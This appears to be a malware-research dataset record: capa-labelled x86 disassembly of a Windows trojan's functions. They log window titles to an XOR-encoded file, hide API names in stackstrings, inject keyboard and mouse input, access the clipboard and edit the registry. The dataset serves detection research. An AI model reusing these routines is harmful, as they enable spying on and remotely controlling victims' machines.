joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008594
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [0x10015618]
mov edi, eax
cmp edi, 0xffffffff
je 0x100085e8
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100085ec
xor eax, eax
jmp 0x10008625
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10008122
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret

Function at 0x10009680
Capabilities:
Contain obfuscated stackstrings
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x10015928]
mov esi, ecx
call edi
cmp byte [0x10015b50], 0
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
je 0x100096c1
push dword [0x1001592c]
call edi
push 0x10015948
call ebx
push 0x10015a4c
jmp 0x100096c6
push 0x10015948
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call sub.KERNEL32.dll_GetTickCount
push eax
lea eax, [ebp - 0x218]
push 0x10001a94
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
xor edi, edi
push 4
lea eax, [ebp - 0x218]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x31c]
push 0x104
push eax
call fcn.1000a7a1
pop ecx
lea eax, [ebp - 0x31c]
pop ecx
push 0x1000161c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x31c]
push eax
call ebx
cmp dword [esi + 0x9e54], 0x120
je 0x10009792
and byte [ebp - 4], 0
lea eax, [esi + 0x10]
push eax
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x67
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
call fcn.10007825
pop ecx
jmp 0x1000979b
lea eax, [esi + 0x10]
push eax
call fcn.10006765
pop ecx
add esi, 0x110
push esi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000989b
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10015938]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x80
push 4
push ebx
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100098e6
push 2
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp edi, ebx
pop ecx
mov esi, eax
jle 0x10009914
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp + 8]
jne 0x10009906
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call fcn.1000a785
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009939
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x940
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x10009b1a
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
cmp eax, 1
pop ecx
mov dword [ebp - 0x30], eax
jb 0x10009b1a
cmp eax, 0x80
ja 0x10009b1a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x28]
push edi
push eax
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], bl
mov byte [ebp - 0x18], 0x77
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0x10], 0x41
mov byte [ebp - 0xf], bl
mov byte [ebp - 0x28], 0x47
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x74
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x76
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x57
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x64
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x77
mov byte [ebp - 0x19], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
push eax
call edi
mov esi, eax
call dword [ebp - 0x2c]
mov ecx, dword [0x10015938]
cmp eax, dword [ecx + 8]
je 0x10009abf
mov dword [ecx + 8], eax
lea eax, [ebp - 0x140]
push pe_nt_image_headers32
push eax
mov eax, dword [0x10015938]
push dword [eax + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x800
lea eax, [ebp - 0x940]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x140]
push eax
movzx eax, word [ebp - 0x34]
push eax
movzx eax, word [ebp - 0x36]
push eax
movzx eax, word [ebp - 0x38]
push eax
movzx eax, word [ebp - 0x40]
push eax
movzx eax, word [ebp - 0x3a]
push eax
movzx eax, word [ebp - 0x3e]
push eax
lea eax, [ebp - 0x940]
push 0x10001a9c
push eax
call esi
lea eax, [ebp - 0x940]
push eax
call fcn.10009939
mov ecx, dword [0x10015938]
add esp, 0x34
cmp byte [ecx + 0xc], bl
je 0x10009ad3
push dword [ebp + 8]
call fcn.1000989b
pop ecx
mov ecx, dword [0x10015938]
mov esi, dword [ebp - 0x30]
mov eax, 0x400
mov edx, esi
add edx, dword [ecx]
cmp edx, eax
jbe 0x10009b01
push eax
add ecx, 0x111
push ebx
push ecx
call sub.MSVCRT.dll_memset
mov eax, dword [0x10015938]
add esp, 0xc
mov dword [eax], ebx
mov ecx, dword [0x10015938]
push dword [ebp + 8]
add ecx, 0x111
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10015938]
pop edi
add dword [eax], esi
pop esi
pop ebx
leave
ret
Function at 0x10009ed3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10014acc
call fcn.10014654
sub esp, 0x60
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x44]
push edi
push eax
lea eax, [ebp - 0x20]
xor ebx, ebx
push eax
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x44], 0x43
mov byte [ebp - 0x43], 0x72
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x61
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x46
mov byte [ebp - 0x3d], 0x69
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x4d
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0x70
mov byte [ebp - 0x37], 0x70
mov byte [ebp - 0x36], 0x69
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x34], 0x67
mov byte [ebp - 0x33], 0x41
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x30], 0x4d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x46
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call esi
push eax
call edi
lea ecx, [ebp - 0x6c]
mov esi, eax
call fcn.1000a028
mov eax, dword [ebp - 0x68]
push 0x10001acc
neg eax
sbb eax, eax
lea ecx, [ebp - 0x64]
push 0x594
push ebx
mov dword [ebp - 4], ebx
and eax, ecx
push 4
push eax
push 0xffffffffffffffff
call dword [ebp - 0x10]
cmp eax, ebx
mov dword [0x1001593c], eax
je 0x1000a00b
push ebx
push ebx
push ebx
push 6
push eax
call esi
cmp eax, ebx
mov dword [0x10015938], eax
je 0x1000a00b
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c]
call fcn.1000a053
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000a3fb
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x10015938]
push ebx
xor ebx, ebx
mov eax, dword [eax + 4]
cmp eax, ebx
je 0x1000a41a
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [0x10015938]
mov dword [eax + 4], ebx
push dword [0x10015938]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [0x1001593c]
call fcn.1000a785
cmp dword [0x10015940], ebx
pop ecx
mov dword [0x10015938], ebx
je 0x1000a4d6
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
cmp byte [0x10015b50], bl
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x1000a4a6
push esi
mov edi, 0x10015a4c
mov esi, 0x10015948
push edi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x1001592c], eax
lea eax, [ebp - 0x104]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop esi
jmp 0x1000a4b8
lea eax, [ebp - 0x104]
push 0x10015948
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [ebp - 0x104]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10015928], eax
pop edi
mov dword [0x10015940], ebx
pop ebx
leave
ret
Function at 0x1000a549
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x34]
push edi
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0x38], ecx
push eax
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], bl
mov byte [ebp - 0x34], 0x47
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x53
mov byte [ebp - 0x30], 0x79
mov byte [ebp - 0x2f], 0x73
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x72
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x79
mov byte [ebp - 0x22], 0x41
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x41
mov byte [ebp - 0x18], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call esi
push eax
call edi
mov esi, eax
lea eax, [ebp - 0x140]
push 0x104
push eax
mov dword [ebp - 0x3c], ebx
call dword [ebp - 4]
lea eax, [ebp - 0x140]
push 0x1000161c
push eax
call esi
push ebx
push 0x80
push 3
push ebx
push 1
push connect
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000a6b6
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
lea eax, [ebp - 0x3c]
push ebx
push eax
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], ebx
jbe 0x1000a6a1
xor byte [ebx + edi], 0x62
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x1000a697
push dword [ebp - 4]
mov ecx, dword [ebp - 0x38]
push edi
call fcn.1000a4ff
push edi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push esi
call fcn.1000a785
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x1000abed
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003208
push 0x100146c2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x1000ac8b
dec eax
je 0x1000acac
dec eax
je 0x1000ac5f
dec eax
jne 0x1000ad06
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000ad06
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x1000acfb
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000ad06
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1000acfb
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000ad06
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000ad06
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x1000ad06
cmp edi, 2
jbe 0x1000acdf
cmp edi, 4
jne 0x1000ad06
push edi
lea eax, [ebp + 0x1c]
push eax
push edi
jmp 0x1000acee
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000ad06
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000ad21
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b408
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ecx
mov eax, dword [esp + 0x10]
push ebx
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x1000b55f
call fcn.1000dc77
mov eax, dword [esp + 0x14]
push 0x1c
xor edx, edx
pop ecx
div ecx
xor ebx, ebx
cmp eax, ebx
jle 0x1000b55f
mov ecx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push esi
push edi
lea esi, [ecx + 8]
mov dword [esp + 0x20], eax
mov eax, dword [esi - 4]
cmp eax, 0x200
jb 0x1000b485
cmp eax, 0x208
ja 0x1000b485
mov edi, dword [esi + 4]
movzx eax, word [esi + 4]
shr edi, 0x10
push edi
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [esi - 4]
mov ecx, 0x203
cmp eax, ecx
ja 0x1000b4f5
je 0x1000b4e5
sub eax, 0x100
je 0x1000b4e1
dec eax
je 0x1000b4c9
sub eax, 3
je 0x1000b4e1
dec eax
je 0x1000b4c9
sub eax, 0xfc
je 0x1000b4be
dec eax
jne 0x1000b54f
push ebx
push ebx
push ebx
push ebx
push 4
jmp 0x1000b54d
push ebx
push ebx
push ebx
push ebx
push 2
jmp 0x1000b54d
push ebx
push 2
push ebx
push dword [esi]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [esi]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x1000b54f
push ebx
push ebx
jmp 0x1000b4cc
push ebx
push ebx
push ebx
push ebx
push 6
call ebp
push ebx
push ebx
push ebx
push ebx
push 6
jmp 0x1000b54d
sub eax, 0x204
je 0x1000b547
dec eax
je 0x1000b53f
dec eax
je 0x1000b52f
dec eax
je 0x1000b527
dec eax
je 0x1000b51f
dec eax
dec eax
jne 0x1000b54f
mov eax, dword [esi]
push ebx
shr eax, 0x10
movsx eax, ax
push eax
push ebx
push ebx
push 0x800
jmp 0x1000b54d
push ebx
push ebx
push ebx
push ebx
push 0x40
jmp 0x1000b54d
push ebx
push ebx
push ebx
push ebx
push 0x20
jmp 0x1000b54d
push ebx
push ebx
push ebx
push ebx
push 0x18
call ebp
push ebx
push ebx
push ebx
push ebx
push 0x18
jmp 0x1000b54d
push ebx
push ebx
push ebx
push ebx
push 0x10
jmp 0x1000b54d
push ebx
push ebx
push ebx
push ebx
push 8
call ebp
add esi, 0x1c
dec dword [esp + 0x20]
jne 0x1000b44c
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8

Function at 0x1000b565
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000b5c3
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000b5bc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8
Function at 0x1000b5c6
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000b642
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x1000b5ee
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x1000b642
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
lea eax, [esi - 1]
push eax
push ebp
lea eax, [edi + 1]
mov byte [edi], 0x76
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x10]
push esi
push edi
call fcn.1000a71f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000b908
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x1000ba36
cmp dword [esi + 0x1c], 0
je 0x1000ba36
call fcn.1000bdcb
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.1000bc76
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.1000bc76
lea ecx, [esi + 0x88]
call fcn.1000ba3f
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.1000bc76
cmp byte [edi], 2
jne 0x1000b9b1
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.1000be04
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.1000be50
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x1000ba31
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x1000b9bd
xor edi, edi
cmp eax, dword [0x10015b58]
je 0x1000b9d6
push edi
mov ecx, esi
call fcn.1000ba95
test al, al
je 0x1000b9d6
add edi, 0x13
jmp 0x1000b9d9
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000b9ef
push edi
mov ecx, esi
call fcn.1000ba95
test al, al
je 0x1000b9d1
add edi, 0x13
jmp 0x1000b9d1
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x10015b58], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x1000ba27
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000ba14
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x1000ba38
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1000c4ea
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.1000c3b6
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x1000c514
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x11
add ecx, edx
inc edx
cmp edx, eax
jl 0x1000c506
mov eax, dword [ebp - 4]
leave
ret